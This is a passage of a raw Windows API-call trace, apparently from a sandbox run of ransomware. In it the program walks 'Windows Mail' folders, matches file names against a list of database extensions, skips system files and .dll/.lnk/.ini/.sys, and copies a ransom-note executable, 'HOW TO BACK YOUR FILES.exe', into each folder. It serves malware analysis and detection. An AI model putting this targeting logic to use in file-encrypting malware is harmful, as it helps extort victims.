	[0052.451] lstrcmpiW (lpString1="mui", lpString2="sql") returned -1
	[0052.451] lstrlenW (lpString="sqlite") returned 6
	[0052.451] lstrcmpiW (lpString1="xe.mui", lpString2="sqlite") returned 1
	[0052.451] lstrlenW (lpString="sqlite3") returned 7
	[0052.451] lstrcmpiW (lpString1="exe.mui", lpString2="sqlite3") returned -1
	[0052.451] lstrlenW (lpString="sqlitedb") returned 8
	[0052.451] lstrcmpiW (lpString1=".exe.mui", lpString2="sqlitedb") returned -1
	[0052.451] lstrlenW (lpString="xml") returned 3
	[0052.451] lstrcmpiW (lpString1="mui", lpString2="xml") returned -1
	[0052.451] lstrlenW (lpString="$er") returned 3
	[0052.451] lstrcmpiW (lpString1="mui", lpString2="$er") returned 1
	[0052.451] lstrlenW (lpString="4dd") returned 3
	[0052.451] lstrcmpiW (lpString1="mui", lpString2="4dd") returned 1
	[0052.451] lstrlenW (lpString="4dl") returned 3
	[0052.451] lstrcmpiW (lpString1="mui", lpString2="4dl") returned 1
	[0052.451] lstrlenW (lpString="^^^") returned 3
	[0052.451] lstrcmpiW (lpString1="mui", lpString2="^^^") returned 1
	[0052.451] lstrlenW (lpString="abs") returned 3
	[0052.451] lstrcmpiW (lpString1="mui", lpString2="abs") returned 1
	[0052.451] lstrlenW (lpString="abx") returned 3
	[0052.451] lstrcmpiW (lpString1="mui", lpString2="abx") returned 1
	[0052.451] lstrlenW (lpString="accdb") returned 5
	[0052.451] lstrcmpiW (lpString1="e.mui", lpString2="accdb") returned 1
	[0052.452] lstrlenW (lpString="accdc") returned 5
	[0052.452] lstrcmpiW (lpString1="e.mui", lpString2="accdc") returned 1
	[0052.452] lstrlenW (lpString="accde") returned 5
	[0052.452] lstrcmpiW (lpString1="e.mui", lpString2="accde") returned 1
	[0052.452] lstrlenW (lpString="accdr") returned 5
	[0052.452] lstrcmpiW (lpString1="e.mui", lpString2="accdr") returned 1
	[0052.452] lstrlenW (lpString="accdt") returned 5
	[0052.452] lstrcmpiW (lpString1="e.mui", lpString2="accdt") returned 1
	[0052.452] lstrlenW (lpString="accdw") returned 5
	[0052.452] lstrcmpiW (lpString1="e.mui", lpString2="accdw") returned 1
	[0052.452] lstrlenW (lpString="accft") returned 5
	[0052.452] lstrcmpiW (lpString1="e.mui", lpString2="accft") returned 1
	[0052.452] lstrlenW (lpString="adb") returned 3
	[0052.452] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1
	[0052.452] lstrlenW (lpString="adb") returned 3
	[0052.452] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1
	[0052.452] lstrlenW (lpString="ade") returned 3
	[0052.452] lstrcmpiW (lpString1="mui", lpString2="ade") returned 1
	[0052.452] lstrlenW (lpString="adf") returned 3
	[0052.452] lstrcmpiW (lpString1="mui", lpString2="adf") returned 1
	[0052.452] lstrlenW (lpString="adn") returned 3
	[0052.452] lstrcmpiW (lpString1="mui", lpString2="adn") returned 1
	[0052.452] lstrlenW (lpString="adp") returned 3
	[0052.452] lstrcmpiW (lpString1="mui", lpString2="adp") returned 1
	[0052.452] lstrlenW (lpString="alf") returned 3
	[0052.452] lstrcmpiW (lpString1="mui", lpString2="alf") returned 1
	[0052.452] lstrlenW (lpString="ask") returned 3
	[0052.452] lstrcmpiW (lpString1="mui", lpString2="ask") returned 1
	[0052.452] lstrlenW (lpString="btr") returned 3
	[0052.452] lstrcmpiW (lpString1="mui", lpString2="btr") returned 1
	[0052.452] lstrlenW (lpString="cat") returned 3
	[0052.452] lstrcmpiW (lpString1="mui", lpString2="cat") returned 1
	[0052.452] lstrlenW (lpString="cdb") returned 3
	[0052.452] lstrcmpiW (lpString1="mui", lpString2="cdb") returned 1
	[0052.452] lstrlenW (lpString="ckp") returned 3
	[0052.452] lstrcmpiW (lpString1="mui", lpString2="ckp") returned 1
	[0052.453] lstrlenW (lpString="cma") returned 3
	[0052.453] lstrcmpiW (lpString1="mui", lpString2="cma") returned 1
	[0052.453] lstrlenW (lpString="cpd") returned 3
	[0052.453] lstrcmpiW (lpString1="mui", lpString2="cpd") returned 1
	[0052.453] lstrlenW (lpString="dacpac") returned 6
	[0052.453] lstrcmpiW (lpString1="xe.mui", lpString2="dacpac") returned 1
	[0052.453] lstrlenW (lpString="dad") returned 3
	[0052.453] lstrcmpiW (lpString1="mui", lpString2="dad") returned 1
	[0052.453] lstrlenW (lpString="dadiagrams") returned 10
	[0052.453] lstrcmpiW (lpString1="wm.exe.mui", lpString2="dadiagrams") returned 1
	[0052.453] lstrlenW (lpString="daschema") returned 8
	[0052.453] lstrcmpiW (lpString1=".exe.mui", lpString2="daschema") returned -1
	[0052.453] lstrlenW (lpString="db-journal") returned 10
	[0052.453] lstrcmpiW (lpString1="wm.exe.mui", lpString2="db-journal") returned 1
	[0052.453] lstrlenW (lpString="db-shm") returned 6
	[0052.453] lstrcmpiW (lpString1="xe.mui", lpString2="db-shm") returned 1
	[0052.453] lstrlenW (lpString="db-wal") returned 6
	[0052.453] lstrcmpiW (lpString1="xe.mui", lpString2="db-wal") returned 1
	[0052.453] lstrlenW (lpString="dbc") returned 3
	[0052.453] lstrcmpiW (lpString1="mui", lpString2="dbc") returned 1
	[0052.453] lstrlenW (lpString="dbs") returned 3
	[0052.453] lstrcmpiW (lpString1="mui", lpString2="dbs") returned 1
	[0052.453] lstrlenW (lpString="dbt") returned 3
	[0052.453] lstrcmpiW (lpString1="mui", lpString2="dbt") returned 1
	[0052.453] lstrlenW (lpString="dbv") returned 3
	[0052.453] lstrcmpiW (lpString1="mui", lpString2="dbv") returned 1
	[0052.453] lstrlenW (lpString="dbx") returned 3
	[0052.453] lstrcmpiW (lpString1="mui", lpString2="dbx") returned 1
	[0052.453] lstrlenW (lpString="dcb") returned 3
	[0052.453] lstrcmpiW (lpString1="mui", lpString2="dcb") returned 1
	[0052.453] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="wmlaunch.exe.mui" | out: lpString1="wmlaunch.exe.mui") returned="wmlaunch.exe.mui"
	[0052.453] lstrlenW (lpString="wmlaunch.exe.mui") returned 16
	[0052.454] lstrlenW (lpString="Apollon865") returned 10
	[0052.454] lstrcmpiW (lpString1="ch.exe.mui", lpString2="Apollon865") returned 1
	[0052.454] lstrlenW (lpString=".dll") returned 4
	[0052.454] lstrcmpiW (lpString1="wmlaunch.exe.mui", lpString2=".dll") returned 1
	[0052.454] lstrlenW (lpString=".lnk") returned 4
	[0052.454] lstrcmpiW (lpString1="wmlaunch.exe.mui", lpString2=".lnk") returned 1
	[0052.454] lstrlenW (lpString=".ini") returned 4
	[0052.454] lstrcmpiW (lpString1="wmlaunch.exe.mui", lpString2=".ini") returned 1
	[0052.454] lstrlenW (lpString=".sys") returned 4
	[0052.454] lstrcmpiW (lpString1="wmlaunch.exe.mui", lpString2=".sys") returned 1
	[0052.454] lstrlenW (lpString="wmlaunch.exe.mui") returned 16
	[0052.454] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="WMPDMC.exe.mui" | out: lpString1="WMPDMC.exe.mui") returned="WMPDMC.exe.mui"
	[0052.454] lstrlenW (lpString="WMPDMC.exe.mui") returned 14
	[0052.454] lstrlenW (lpString="Apollon865") returned 10
	[0052.454] lstrcmpiW (lpString1="MC.exe.mui", lpString2="Apollon865") returned 1
	[0052.454] lstrlenW (lpString=".dll") returned 4
	[0052.454] lstrcmpiW (lpString1="WMPDMC.exe.mui", lpString2=".dll") returned 1
	[0052.454] lstrlenW (lpString=".lnk") returned 4
	[0052.454] lstrcmpiW (lpString1="WMPDMC.exe.mui", lpString2=".lnk") returned 1
	[0052.454] lstrlenW (lpString=".ini") returned 4
	[0052.454] lstrcmpiW (lpString1="WMPDMC.exe.mui", lpString2=".ini") returned 1
	[0052.454] lstrlenW (lpString=".sys") returned 4
	[0052.454] lstrcmpiW (lpString1="WMPDMC.exe.mui", lpString2=".sys") returned 1
	[0052.454] lstrlenW (lpString="WMPDMC.exe.mui") returned 14
	[0052.454] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="WMPDMCCore.dll.mui" | out: lpString1="WMPDMCCore.dll.mui") returned="WMPDMCCore.dll.mui"
	[0052.454] lstrlenW (lpString="WMPDMCCore.dll.mui") returned 18
	[0052.454] lstrlenW (lpString="Apollon865") returned 10
	[0052.454] lstrcmpiW (lpString1="re.dll.mui", lpString2="Apollon865") returned 1
	[0052.454] lstrlenW (lpString=".dll") returned 4
	[0052.454] lstrcmpiW (lpString1="WMPDMCCore.dll.mui", lpString2=".dll") returned 1
	[0052.454] lstrlenW (lpString=".lnk") returned 4
	[0052.454] lstrcmpiW (lpString1="WMPDMCCore.dll.mui", lpString2=".lnk") returned 1
	[0052.455] lstrlenW (lpString=".ini") returned 4
	[0052.455] lstrcmpiW (lpString1="WMPDMCCore.dll.mui", lpString2=".ini") returned 1
	[0052.455] lstrlenW (lpString=".sys") returned 4
	[0052.455] lstrcmpiW (lpString1="WMPDMCCore.dll.mui", lpString2=".sys") returned 1
	[0052.455] lstrlenW (lpString="WMPDMCCore.dll.mui") returned 18
	[0052.455] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="wmplayer.exe.mui" | out: lpString1="wmplayer.exe.mui") returned="wmplayer.exe.mui"
	[0052.455] lstrlenW (lpString="wmplayer.exe.mui") returned 16
	[0052.455] lstrlenW (lpString="Apollon865") returned 10
	[0052.455] lstrcmpiW (lpString1="er.exe.mui", lpString2="Apollon865") returned 1
	[0052.455] lstrlenW (lpString=".dll") returned 4
	[0052.455] lstrcmpiW (lpString1="wmplayer.exe.mui", lpString2=".dll") returned 1
	[0052.455] lstrlenW (lpString=".lnk") returned 4
	[0052.455] lstrcmpiW (lpString1="wmplayer.exe.mui", lpString2=".lnk") returned 1
	[0052.455] lstrlenW (lpString=".ini") returned 4
	[0052.455] lstrcmpiW (lpString1="wmplayer.exe.mui", lpString2=".ini") returned 1
	[0052.455] lstrlenW (lpString=".sys") returned 4
	[0052.455] lstrcmpiW (lpString1="wmplayer.exe.mui", lpString2=".sys") returned 1
	[0052.455] lstrlenW (lpString="wmplayer.exe.mui") returned 16
	[0052.455] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="WMPMediaSharing.dll.mui" | out: lpString1="WMPMediaSharing.dll.mui") returned="WMPMediaSharing.dll.mui"
	[0052.455] lstrlenW (lpString="WMPMediaSharing.dll.mui") returned 23
	[0052.455] lstrlenW (lpString="Apollon865") returned 10
	[0052.455] lstrcmpiW (lpString1="ng.dll.mui", lpString2="Apollon865") returned 1
	[0052.455] lstrlenW (lpString=".dll") returned 4
	[0052.455] lstrcmpiW (lpString1="WMPMediaSharing.dll.mui", lpString2=".dll") returned 1
	[0052.455] lstrlenW (lpString=".lnk") returned 4
	[0052.455] lstrcmpiW (lpString1="WMPMediaSharing.dll.mui", lpString2=".lnk") returned 1
	[0052.455] lstrlenW (lpString=".ini") returned 4
	[0052.455] lstrcmpiW (lpString1="WMPMediaSharing.dll.mui", lpString2=".ini") returned 1
	[0052.455] lstrlenW (lpString=".sys") returned 4
	[0052.455] lstrcmpiW (lpString1="WMPMediaSharing.dll.mui", lpString2=".sys") returned 1
	[0052.455] lstrlenW (lpString="WMPMediaSharing.dll.mui") returned 23
	[0052.456] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="wmpnssci.dll.mui" | out: lpString1="wmpnssci.dll.mui") returned="wmpnssci.dll.mui"
	[0052.456] lstrlenW (lpString="wmpnssci.dll.mui") returned 16
	[0052.456] lstrlenW (lpString="Apollon865") returned 10
	[0052.456] lstrcmpiW (lpString1="ci.dll.mui", lpString2="Apollon865") returned 1
	[0052.456] lstrlenW (lpString=".dll") returned 4
	[0052.456] lstrcmpiW (lpString1="wmpnssci.dll.mui", lpString2=".dll") returned 1
	[0052.456] lstrlenW (lpString=".lnk") returned 4
	[0052.456] lstrcmpiW (lpString1="wmpnssci.dll.mui", lpString2=".lnk") returned 1
	[0052.456] lstrlenW (lpString=".ini") returned 4
	[0052.456] lstrcmpiW (lpString1="wmpnssci.dll.mui", lpString2=".ini") returned 1
	[0052.456] lstrlenW (lpString=".sys") returned 4
	[0052.456] lstrcmpiW (lpString1="wmpnssci.dll.mui", lpString2=".sys") returned 1
	[0052.456] lstrlenW (lpString="wmpnssci.dll.mui") returned 16
	[0052.456] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="wmpnssui.dll.mui" | out: lpString1="wmpnssui.dll.mui") returned="wmpnssui.dll.mui"
	[0052.456] lstrlenW (lpString="wmpnssui.dll.mui") returned 16
	[0052.456] lstrlenW (lpString="Apollon865") returned 10
	[0052.456] lstrcmpiW (lpString1="ui.dll.mui", lpString2="Apollon865") returned 1
	[0052.456] lstrlenW (lpString=".dll") returned 4
	[0052.456] lstrcmpiW (lpString1="wmpnssui.dll.mui", lpString2=".dll") returned 1
	[0052.456] lstrlenW (lpString=".lnk") returned 4
	[0052.456] lstrcmpiW (lpString1="wmpnssui.dll.mui", lpString2=".lnk") returned 1
	[0052.456] lstrlenW (lpString=".ini") returned 4
	[0052.456] lstrcmpiW (lpString1="wmpnssui.dll.mui", lpString2=".ini") returned 1
	[0052.456] lstrlenW (lpString=".sys") returned 4
	[0052.456] lstrcmpiW (lpString1="wmpnssui.dll.mui", lpString2=".sys") returned 1
	[0052.456] lstrlenW (lpString="wmpnssui.dll.mui") returned 16
	[0052.456] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Windows Mail", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Windows Mail") returned="C:\\Program Files (x86)\\Windows Mail"
	[0052.456] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bded8 | out: hHeap=0x580000) returned 1
	[0052.456] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c48 | out: hHeap=0x580000) returned 1
	[0052.456] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Mail") returned 35
	[0052.456] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Windows Mail" | out: lpString1="C:\\Program Files (x86)\\Windows Mail") returned="C:\\Program Files (x86)\\Windows Mail"
	[0052.457] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0052.457] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Mail\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows mail\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0052.462] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0052.462] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Mail\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd91d5ea, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3756c2b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3756c2b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0052.462] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.462] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0052.462] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0052.462] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd91d5ea, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3756c2b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3756c2b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0052.462] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.462] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0052.462] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0052.462] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0052.462] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x229eba17, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0052.462] lstrcmpiW (lpString1="en-US", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.462] lstrcmpiW (lpString1="en-US", lpString2="Apollon865.txt.exe") returned 1
	[0052.462] lstrcmpiW (lpString1="en-US", lpString2=".") returned 1
	[0052.462] lstrcmpiW (lpString1="en-US", lpString2="..") returned 1
	[0052.462] lstrcmpiW (lpString1="en-US", lpString2="windows") returned -1
	[0052.462] lstrcmpiW (lpString1="en-US", lpString2="bootmgr") returned 1
	[0052.462] lstrcmpiW (lpString1="en-US", lpString2="temp") returned -1
	[0052.462] lstrcmpiW (lpString1="en-US", lpString2="pagefile.sys") returned -1
	[0052.462] lstrcmpiW (lpString1="en-US", lpString2="boot") returned 1
	[0052.463] lstrcmpiW (lpString1="en-US", lpString2="ids.txt") returned -1
	[0052.463] lstrcmpiW (lpString1="en-US", lpString2="ntuser.dat") returned -1
	[0052.463] lstrcmpiW (lpString1="en-US", lpString2="perflogs") returned -1
	[0052.463] lstrcmpiW (lpString1="en-US", lpString2="MSBuild") returned -1
	[0052.463] lstrlenW (lpString="en-US") returned 5
	[0052.463] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Mail\\*") returned 37
	[0052.463] lstrcpyW (in: lpString1=0x2d3e598, lpString2="en-US" | out: lpString1="en-US") returned="en-US"
	[0052.463] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c48
	[0052.463] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x54) returned 0x598468
	[0052.463] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c50 | out: ListHead=0x5b76b0, ListEntry=0x5b7c50) returned 0x5b7bf0
	[0052.463] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3756c2b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3756c2b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0052.463] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0052.463] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3b530d7, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3b530d7, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3b9f397, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18b800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msoe.dll", cAlternateFileName="")) returned 1
	[0052.463] lstrcmpiW (lpString1="msoe.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0052.463] lstrcmpiW (lpString1="msoe.dll", lpString2="Apollon865.txt.exe") returned 1
	[0052.463] lstrcmpiW (lpString1="msoe.dll", lpString2=".") returned 1
	[0052.463] lstrcmpiW (lpString1="msoe.dll", lpString2="..") returned 1
	[0052.463] lstrcmpiW (lpString1="msoe.dll", lpString2="windows") returned -1
	[0052.463] lstrcmpiW (lpString1="msoe.dll", lpString2="bootmgr") returned 1
	[0052.463] lstrcmpiW (lpString1="msoe.dll", lpString2="temp") returned -1
	[0052.463] lstrcmpiW (lpString1="msoe.dll", lpString2="pagefile.sys") returned -1
	[0052.463] lstrcmpiW (lpString1="msoe.dll", lpString2="boot") returned 1
	[0052.463] lstrcmpiW (lpString1="msoe.dll", lpString2="ids.txt") returned 1
	[0052.463] lstrcmpiW (lpString1="msoe.dll", lpString2="ntuser.dat") returned -1
	[0052.463] lstrcmpiW (lpString1="msoe.dll", lpString2="perflogs") returned -1
	[0052.464] lstrcmpiW (lpString1="msoe.dll", lpString2="MSBuild") returned 1
	[0052.464] lstrlenW (lpString="msoe.dll") returned 8
	[0052.464] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Mail\\en-US") returned 41
	[0052.464] lstrcpyW (in: lpString1=0x2d3e598, lpString2="msoe.dll" | out: lpString1="msoe.dll") returned="msoe.dll"
	[0052.464] lstrlenW (lpString="msoe.dll") returned 8
	[0052.464] lstrlenW (lpString="Apollon865") returned 10
	[0052.464] lstrlenW (lpString=".dll") returned 4
	[0052.464] lstrcmpiW (lpString1="msoe.dll", lpString2=".dll") returned 1
	[0052.464] lstrlenW (lpString=".lnk") returned 4
	[0052.464] lstrcmpiW (lpString1="msoe.dll", lpString2=".lnk") returned 1
	[0052.464] lstrlenW (lpString=".ini") returned 4
	[0052.464] lstrcmpiW (lpString1="msoe.dll", lpString2=".ini") returned 1
	[0052.464] lstrlenW (lpString=".sys") returned 4
	[0052.464] lstrcmpiW (lpString1="msoe.dll", lpString2=".sys") returned 1
	[0052.464] lstrlenW (lpString="msoe.dll") returned 8
	[0052.464] lstrcpyW (in: lpString1=0x2d3e598, lpString2="MSOERES.dll" | out: lpString1="MSOERES.dll") returned="MSOERES.dll"
	[0052.464] lstrlenW (lpString="MSOERES.dll") returned 11
	[0052.464] lstrlenW (lpString="Apollon865") returned 10
	[0052.464] lstrcmpiW (lpString1="SOERES.dll", lpString2="Apollon865") returned 1
	[0052.464] lstrlenW (lpString=".dll") returned 4
	[0052.464] lstrcmpiW (lpString1="MSOERES.dll", lpString2=".dll") returned 1
	[0052.464] lstrlenW (lpString=".lnk") returned 4
	[0052.464] lstrcmpiW (lpString1="MSOERES.dll", lpString2=".lnk") returned 1
	[0052.464] lstrlenW (lpString=".ini") returned 4
	[0052.464] lstrcmpiW (lpString1="MSOERES.dll", lpString2=".ini") returned 1
	[0052.464] lstrlenW (lpString=".sys") returned 4
	[0052.464] lstrcmpiW (lpString1="MSOERES.dll", lpString2=".sys") returned 1
	[0052.464] lstrlenW (lpString="MSOERES.dll") returned 11
	[0052.464] lstrcpyW (in: lpString1=0x2d3e598, lpString2="oeimport.dll" | out: lpString1="oeimport.dll") returned="oeimport.dll"
	[0052.464] lstrlenW (lpString="oeimport.dll") returned 12
	[0052.464] lstrlenW (lpString="Apollon865") returned 10
	[0052.465] lstrcmpiW (lpString1="import.dll", lpString2="Apollon865") returned 1
	[0052.465] lstrlenW (lpString=".dll") returned 4
	[0052.465] lstrcmpiW (lpString1="oeimport.dll", lpString2=".dll") returned 1
	[0052.465] lstrlenW (lpString=".lnk") returned 4
	[0052.465] lstrcmpiW (lpString1="oeimport.dll", lpString2=".lnk") returned 1
	[0052.465] lstrlenW (lpString=".ini") returned 4
	[0052.465] lstrcmpiW (lpString1="oeimport.dll", lpString2=".ini") returned 1
	[0052.465] lstrlenW (lpString=".sys") returned 4
	[0052.465] lstrcmpiW (lpString1="oeimport.dll", lpString2=".sys") returned 1
	[0052.465] lstrlenW (lpString="oeimport.dll") returned 12
	[0052.465] lstrcpyW (in: lpString1=0x2d3e598, lpString2="wab.exe" | out: lpString1="wab.exe") returned="wab.exe"
	[0052.465] lstrlenW (lpString="wab.exe") returned 7
	[0052.465] lstrlenW (lpString="Apollon865") returned 10
	[0052.465] lstrlenW (lpString=".dll") returned 4
	[0052.465] lstrcmpiW (lpString1="wab.exe", lpString2=".dll") returned 1
	[0052.465] lstrlenW (lpString=".lnk") returned 4
	[0052.465] lstrcmpiW (lpString1="wab.exe", lpString2=".lnk") returned 1
	[0052.465] lstrlenW (lpString=".ini") returned 4
	[0052.465] lstrcmpiW (lpString1="wab.exe", lpString2=".ini") returned 1
	[0052.465] lstrlenW (lpString=".sys") returned 4
	[0052.465] lstrcmpiW (lpString1="wab.exe", lpString2=".sys") returned 1
	[0052.465] lstrlenW (lpString="wab.exe") returned 7
	[0052.465] lstrcpyW (in: lpString1=0x2d3e598, lpString2="wabfind.dll" | out: lpString1="wabfind.dll") returned="wabfind.dll"
	[0052.465] lstrlenW (lpString="wabfind.dll") returned 11
	[0052.465] lstrlenW (lpString="Apollon865") returned 10
	[0052.465] lstrcmpiW (lpString1="abfind.dll", lpString2="Apollon865") returned -1
	[0052.465] lstrlenW (lpString=".dll") returned 4
	[0052.465] lstrcmpiW (lpString1="wabfind.dll", lpString2=".dll") returned 1
	[0052.465] lstrlenW (lpString=".lnk") returned 4
	[0052.465] lstrcmpiW (lpString1="wabfind.dll", lpString2=".lnk") returned 1
	[0052.465] lstrlenW (lpString=".ini") returned 4
	[0052.465] lstrcmpiW (lpString1="wabfind.dll", lpString2=".ini") returned 1
	[0052.466] lstrlenW (lpString=".sys") returned 4
	[0052.466] lstrcmpiW (lpString1="wabfind.dll", lpString2=".sys") returned 1
	[0052.466] lstrlenW (lpString="wabfind.dll") returned 11
	[0052.466] lstrcpyW (in: lpString1=0x2d3e598, lpString2="wabimp.dll" | out: lpString1="wabimp.dll") returned="wabimp.dll"
	[0052.466] lstrlenW (lpString="wabimp.dll") returned 10
	[0052.466] lstrlenW (lpString="Apollon865") returned 10
	[0052.466] lstrlenW (lpString=".dll") returned 4
	[0052.466] lstrcmpiW (lpString1="wabimp.dll", lpString2=".dll") returned 1
	[0052.466] lstrlenW (lpString=".lnk") returned 4
	[0052.466] lstrcmpiW (lpString1="wabimp.dll", lpString2=".lnk") returned 1
	[0052.466] lstrlenW (lpString=".ini") returned 4
	[0052.466] lstrcmpiW (lpString1="wabimp.dll", lpString2=".ini") returned 1
	[0052.466] lstrlenW (lpString=".sys") returned 4
	[0052.466] lstrcmpiW (lpString1="wabimp.dll", lpString2=".sys") returned 1
	[0052.466] lstrlenW (lpString="wabimp.dll") returned 10
	[0052.466] lstrcpyW (in: lpString1=0x2d3e598, lpString2="wabmig.exe" | out: lpString1="wabmig.exe") returned="wabmig.exe"
	[0052.466] lstrlenW (lpString="wabmig.exe") returned 10
	[0052.466] lstrlenW (lpString="Apollon865") returned 10
	[0052.466] lstrlenW (lpString=".dll") returned 4
	[0052.466] lstrcmpiW (lpString1="wabmig.exe", lpString2=".dll") returned 1
	[0052.466] lstrlenW (lpString=".lnk") returned 4
	[0052.466] lstrcmpiW (lpString1="wabmig.exe", lpString2=".lnk") returned 1
	[0052.466] lstrlenW (lpString=".ini") returned 4
	[0052.466] lstrcmpiW (lpString1="wabmig.exe", lpString2=".ini") returned 1
	[0052.466] lstrlenW (lpString=".sys") returned 4
	[0052.466] lstrcmpiW (lpString1="wabmig.exe", lpString2=".sys") returned 1
	[0052.466] lstrlenW (lpString="wabmig.exe") returned 10
	[0052.466] lstrcpyW (in: lpString1=0x2d3e598, lpString2="WinMail.exe" | out: lpString1="WinMail.exe") returned="WinMail.exe"
	[0052.466] lstrlenW (lpString="WinMail.exe") returned 11
	[0052.466] lstrlenW (lpString="Apollon865") returned 10
	[0052.467] lstrcmpiW (lpString1="inMail.exe", lpString2="Apollon865") returned 1
	[0052.467] lstrlenW (lpString=".dll") returned 4
	[0052.467] lstrcmpiW (lpString1="WinMail.exe", lpString2=".dll") returned 1
	[0052.467] lstrlenW (lpString=".lnk") returned 4
	[0052.467] lstrcmpiW (lpString1="WinMail.exe", lpString2=".lnk") returned 1
	[0052.467] lstrlenW (lpString=".ini") returned 4
	[0052.467] lstrcmpiW (lpString1="WinMail.exe", lpString2=".ini") returned 1
	[0052.467] lstrlenW (lpString=".sys") returned 4
	[0052.467] lstrcmpiW (lpString1="WinMail.exe", lpString2=".sys") returned 1
	[0052.467] lstrlenW (lpString="WinMail.exe") returned 11
	[0052.467] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Windows Mail\\en-US", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Windows Mail\\en-US") returned="C:\\Program Files (x86)\\Windows Mail\\en-US"
	[0052.467] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x598468 | out: hHeap=0x580000) returned 1
	[0052.467] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c48 | out: hHeap=0x580000) returned 1
